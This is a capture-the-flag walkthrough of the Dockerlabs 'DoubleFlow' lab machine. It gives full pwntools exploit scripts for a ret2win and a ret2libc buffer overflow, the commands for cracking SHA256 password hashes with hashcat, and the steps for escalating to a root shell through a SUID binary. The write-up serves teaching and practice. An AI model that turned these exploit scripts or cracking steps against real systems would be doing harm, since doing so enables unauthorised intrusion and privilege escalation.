DoubleFlow Writeup - Dockerlabs
DoubleFlow is a hard-difficulty Linux machine from Dockerlabs, created by 4bytes. This challenge showcases a multi-stage attack path involving two distinct buffer overflow vulnerabilities and hash cracking. The name “DoubleFlow” refers to the two buffer overflow exploits required to complete the machine.
Machine Summary
| Property | Value |
|---|---|
| Platform | Dockerlabs |
| Difficulty | Hard |
| OS | Linux (Debian) |
| Author | 4bytes |
Skills Required
- Network enumeration and service discovery
- Binary exploitation (x86-64 buffer overflow)
- Return-Oriented Programming (ROP)
- ret2win and ret2libc techniques
- Hash identification and cracking
- SUID binary exploitation
Attack Path Overview
www-data (ret2win on app1) → P1 hash → pepe (hash cracking + SSH) → root (ret2libc on app3 SUID)
Deployment
We deploy the machine using the standard Dockerlabs auto-deploy script:
unzip doubleflow.zip
sudo bash auto_deploy.sh doubleflow.tar
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
The machine is now accessible at 172.17.0.2.
Reconnaissance
Port Scanning
We begin with a comprehensive Nmap scan to identify open ports and enumerate running services:
sudo nmap -p- --open --min-rate 5000 -Pn -n -sSVC -vvv 172.17.0.2 -oN scan_doubleflow.txt
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
39817/tcp open unknown syn-ack ttl 64
| fingerprint-strings:
| GenericLines:
| Contrase
| Denegado
| NULL:
|_ Contrase
We discover three open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH 9.2p1, too recent for known exploits |
| 80 | HTTP | Apache 2.4.61, static page with no useful content |
| 39817 | Unknown | Custom service requesting “Contraseña” (password) |
Web Enumeration
The web page at port 80 shows a simple message “THIS WEB CAN’T BE HACKED”. We perform directory enumeration with Gobuster:
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://172.17.0.2/
javascript (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
app1 (Status: 200) [Size: 16312]
server-status (Status: 403) [Size: 275]
We discover a downloadable file named app1. Let’s analyze it:
file app1
app1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
This is a 64-bit Linux executable. When we run it, it starts listening on port 17562:
./app1
Escuchando en 0.0.0.0:17562!
Sending a long input causes a segmentation fault, indicating a classic buffer overflow vulnerability.
Initial Foothold
Understanding Buffer Overflow
Before diving into exploitation, let’s understand what a buffer overflow is and why it’s dangerous.
A buffer overflow occurs when a program writes more data to a buffer than it can hold. In C programs, buffers are typically arrays allocated on the stack. When the program doesn’t validate input length, an attacker can write beyond the buffer’s boundaries, overwriting adjacent memory.
The stack grows downward in memory, and each function call creates a stack frame containing:
+------------------+ Higher addresses
| Function args |
+------------------+
| Return address | <-- Where execution returns after function ends
+------------------+
| Saved RBP | <-- Previous frame pointer
+------------------+
| Local variables | <-- Including our vulnerable buffer
+------------------+ Lower addresses
By overflowing the buffer, we can overwrite the return address. When the function ends, instead of returning to the legitimate caller, execution jumps to whatever address we placed there.
Binary Analysis
We analyze the binary’s security protections using checksec:
pwndbg> checksec
File: /home/user/Machines/app1
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
| Protection | Status | Implication |
|---|---|---|
| RELRO | Partial | GOT entries are writable, allowing GOT overwrite attacks |
| Stack Canary | None | No random value protecting return address, we can overflow freely |
| NX | Enabled | Stack is NOT executable, shellcode injection won’t work |
| PIE | Disabled | Fixed memory addresses at 0x400000, no need to leak addresses |
| Stripped | No | Debug symbols available, easier to analyze |
Let’s understand each protection in detail:
Stack Canary: A random value placed between local variables and the return address. If an overflow occurs, the canary gets overwritten, and the program detects the attack before returning. Without a canary (as in this case), we can freely overwrite the return address.
NX (No-Execute): Marks the stack as non-executable. In older exploits, attackers would inject shellcode onto the stack and jump to it. With NX enabled, attempting to execute code on the stack causes a segmentation fault. This forces us to use Return-Oriented Programming (ROP) instead.
PIE (Position Independent Executable): When enabled, the binary is loaded at a random address each time it runs. Without PIE, addresses are fixed, making exploitation significantly easier since we can hardcode addresses in our exploit.
Key insight: NX is enabled, which means we cannot inject and execute shellcode on the stack. However, since PIE is disabled and there’s no stack canary, we can use Return-Oriented Programming (ROP) techniques.
Finding the Vulnerability
We examine the binary’s functions:
pwndbg> disass testing_function
0x00000000004013e1 <+533>: lea rcx,[rbp-0x130] # Buffer address
0x00000000004013eb <+543>: mov edx,0x400 # Read up to 1024 bytes
0x00000000004013f5 <+553>: call 0x401080 <read@plt>
The vulnerability is clear: the buffer is 0x130 (304) bytes, but read() accepts up to 0x400 (1024) bytes. This is a classic stack-based buffer overflow.
Finding the Offset
We use a cyclic pattern to determine the exact offset needed to overwrite RIP:
pwndbg> cyclic 400
aaaaaaaabaaaaaaacaaaaaaadaaaa...
pwndbg> run
# Send the pattern via netcat to port 17562
Program received signal SIGSEGV, Segmentation fault.
RSP 0x7fffffffdc78 ◂— 'raaaaaaasaaaa...'
pwndbg> cyclic -l raaaaaaa
Found at offset 312
To control the return address, we need 312 bytes of padding.
Discovering the Hidden Function
Before attempting a complex ret2libc attack, we examine the binary’s strings:
strings app1 | grep -E "secret|function"
secret_function
testing_function
There’s a hidden function called secret_function. Let’s examine it:
objdump -d app1 | grep -A10 "<secret_function>"
00000000004011b6 <secret_function>:
4011b6: push %rbp
4011b7: mov %rsp,%rbp
4011ba: lea 0xe47(%rip),%rax
4011c1: mov %rax,%rdi
4011c4: call 401030 <puts@plt>
4011c9: nop
4011ca: pop %rbp
4011cb: ret
This function simply calls puts() to print something. Checking the strings reveals what it prints:
strings app1 | grep "P1"
P1 --> 02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb
This is a ret2win scenario. The binary contains a “win” function that we’re not supposed to reach through normal execution. By exploiting the buffer overflow, we can redirect execution to this function to leak the hash.
Introduction to Return-Oriented Programming (ROP)
Since NX prevents us from executing injected code, we use Return-Oriented Programming. Instead of injecting new code, we chain together small snippets of existing code called gadgets.
A gadget is a sequence of instructions ending with ret. The ret instruction pops the next address from the stack and jumps to it. By carefully crafting our payload, we can execute a chain of gadgets:
+------------------+
| Gadget 1 address | --> ret jumps here
+------------------+
| Gadget 2 address | --> Gadget 1's ret jumps here
+------------------+
| Gadget 3 address | --> Gadget 2's ret jumps here
+------------------+
In our case, we have a simple ret2win: we just need to jump to secret_function. No complex gadget chains required.
Building the Exploit
Since NX is enabled, we cannot execute shellcode. However, we can redirect execution to existing functions. The exploit structure is:
payload = padding (312 bytes) + ret_gadget + secret_function_address
Why the ret gadget? The x86-64 ABI requires the stack to be 16-byte aligned before
callinstructions. When a function likeputs()uses SSE instructions (for optimized string operations), misalignment causes a crash. The extraretinstruction pops 8 bytes from the stack, adjusting alignment. This is a common pitfall in x86-64 exploitation.
How to identify alignment issues: If your exploit segfaults inside a libc function (like
putsorprintf) rather than at your target address, try adding or removing aretgadget.
from pwn import *
ret = p64(0x401016) # ret gadget for stack alignment
secret_function = p64(0x4011b6)
padding = b'A' * 312
payload = padding + ret + secret_function
r = remote("172.17.0.2", 17562)
r.send(payload)
print(r.recvall())
Executing the exploit reveals the P1 hash:
P1 --> 02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb
Lateral Movement
Cracking the P1 Hash
The hash appears to be SHA256 based on its characteristics:
- Exactly 64 hexadecimal characters (256 bits)
- No special prefixes (like
$6$for SHA512crypt) - Appears to be a raw hash without salt
Hash identification tip: The length and format of a hash often reveals its type:
- 32 hex chars = MD5
- 40 hex chars = SHA1
- 64 hex chars = SHA256
- 128 hex chars = SHA512
We use hashcat with mode 1400 (SHA256):
echo "02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb" > hash.txt
hashcat -m 1400 hash.txt /usr/share/seclists/Passwords/rockyou.txt
02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb:tiggerjake
Status...........: Cracked
The password is tiggerjake.
Accessing the Mystery Service
We use this password with the service on port 39817:
nc 172.17.0.2 39817
Contraseña: tiggerjake
pepe:8f47d09d47172c5d9a5714ba332b33301301014d7926b7a84cb577a8b465f680@localhost
We receive credentials for user pepe with another hashed password. Cracking the second hash:
hashcat -m 1400 hash2.txt /usr/share/seclists/Passwords/rockyou.txt
8f47d09d47172c5d9a5714ba332b33301301014d7926b7a84cb577a8b465f680:plasticfloor17
SSH Access
We can now SSH into the machine:
ssh pepe@172.17.0.2
pepe@172.17.0.2's password: plasticfloor17
pepe@aa29efee64c1:~$ whoami
pepe
Privilege Escalation
SUID Binary Discovery
We search for privilege escalation vectors:
pepe@aa29efee64c1:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
...
/home/pepe/app3
There’s a custom SUID binary owned by root in the user’s home directory:
pepe@aa29efee64c1:~$ ls -la /home/pepe/app3
-rwsr-xr-x 1 root root 16080 Jul 23 2024 /home/pepe/app3
Binary Analysis
We transfer the binary to our local machine for analysis:
scp pepe@172.17.0.2:/home/pepe/app3 ./
strings app3 | grep -E "gets|system|vuln|asmf"
gets
vuln
asmf
Critical finding: The binary uses
gets(), an infamously unsafe function that reads without bounds checking. This guarantees a buffer overflow vulnerability.
The binary also contains a function called asmf. Let’s examine it:
pwndbg> disass asmf
Dump of assembler code for function asmf:
0x0000000000401166 <+0>: push rbp
0x0000000000401167 <+1>: mov rbp,rsp
0x000000000040116a <+4>: pop rdi
0x000000000040116b <+5>: nop
0x000000000040116c <+6>: pop rbp
0x000000000040116d <+7>: ret
This function is actually a crafted ROP gadget: pop rdi; pop rbp; ret. This allows us to control the RDI register, which is used to pass the first argument to functions in x86-64.
Determining the Offset
pwndbg> cyclic 200
pwndbg> run
# Send pattern
RSP 0x7fffffffdc48 ◂— 'raaaaaaasaaaa...'
pwndbg> cyclic -l raaaaaaa
Found at offset 136
The offset is 136 bytes.
Checking ASLR Status
pepe@aa29efee64c1:~$ cat /proc/sys/kernel/randomize_va_space
0
ASLR is disabled in the Docker container, meaning libc addresses will be consistent across executions.
What is ASLR? Address Space Layout Randomization loads libraries at random addresses each time a program runs. With ASLR enabled, we would need to first leak a libc address before calculating where
system()and"/bin/sh"are located. Since ASLR is disabled (value 0), addresses are predictable.
Understanding ret2libc
Since app3 doesn’t have a convenient “win” function like app1 did, and system() isn’t in its PLT, we need to call system() directly from libc. This technique is called ret2libc.
The goal is to execute system("/bin/sh"). In x86-64, the first function argument is passed via the RDI register. Our ROP chain needs to:
- Load the address of
"/bin/sh"into RDI - Call
system()
The asmf function conveniently provides a pop rdi gadget, allowing us to control RDI.
Gathering libc Information
Since the binary doesn’t contain system() in its PLT, we need to use ret2libc. We gather the necessary addresses:
pepe@aa29efee64c1:~$ ldd /home/pepe/app3
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7ddb000)
pepe@aa29efee64c1:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
1023: 000000000004c490 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
pepe@aa29efee64c1:~$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
196031 /bin/sh
| Component | Offset | Address |
|---|---|---|
| libc base | - | 0x7ffff7ddb000 |
| system | 0x4c490 |
0x7ffff7e27490 |
| /bin/sh | 0x196031 |
0x7ffff7f71031 |
Building the ret2libc Exploit
The exploit structure:
padding (136) + pop_rdi_rbp + "/bin/sh" addr + dummy_rbp + system addr
from pwn import *
shell = ssh('pepe', '172.17.0.2', password='plasticfloor17')
p = shell.process('/home/pepe/app3')
libc_base = 0x7ffff7ddb000
system = libc_base + 0x4c490
binsh = libc_base + 0x196031
pop_rdi_rbp = p64(0x40116a) # pop rdi; pop rbp; ret
payload = b'A' * 136 + pop_rdi_rbp + p64(binsh) + p64(0) + p64(system)
p.sendline(payload)
p.interactive()
Note: During initial testing, we tried adding an extra
retgadget for stack alignment, which caused the exploit to fail. The correct payload does not require the extra alignment in this case.
Executing the exploit:
python3 exploit.py
[+] Connecting to 172.17.0.2 on port 22: Done
[+] Starting remote process on 172.17.0.2: pid 314
[*] Switching to interactive mode
De aqui no pasas: # whoami
root
We have achieved root access.
Conclusion
This machine demonstrated a comprehensive attack chain involving multiple buffer overflow exploits:
| Phase | Technique | Key Vulnerability |
|---|---|---|
| Initial Access | ret2win (64-bit) | Buffer overflow in app1 with leaked secret_function |
| Lateral Movement | Hash cracking | SHA256 passwords cracked via rockyou wordlist |
| Privilege Escalation | ret2libc (64-bit) | SUID app3 with gets() and disabled ASLR |
Key Takeaways
-
Always check strings first. Before complex reverse engineering,
stringsrevealed both the hidden function and the P1 hash, dramatically simplifying the initial exploit. -
ASLR disabled is a critical misconfiguration. With ASLR enabled, the ret2libc attack would require a libc leak, adding significant complexity.
-
Custom ROP gadgets can be planted. The
asmffunction was clearly designed to provide apop rdigadget, demonstrating how CTF authors craft intentional exploitation paths. -
Stack alignment matters. On x86-64, incorrect stack alignment can cause crashes even when all addresses are correct. Sometimes adding a
retgadget fixes this; sometimes it breaks things. -
The “DoubleFlow” name was a hint. Both exploitation stages required buffer overflow techniques, living up to the challenge’s name.
Alternative Approaches
- Use one_gadget to find execve gadgets in libc, avoiding the need for
pop rdi - Perform a libc leak via
puts@pltto make the exploit work with ASLR enabled - Analyze the mystery service binary on port 39817 for additional vulnerabilities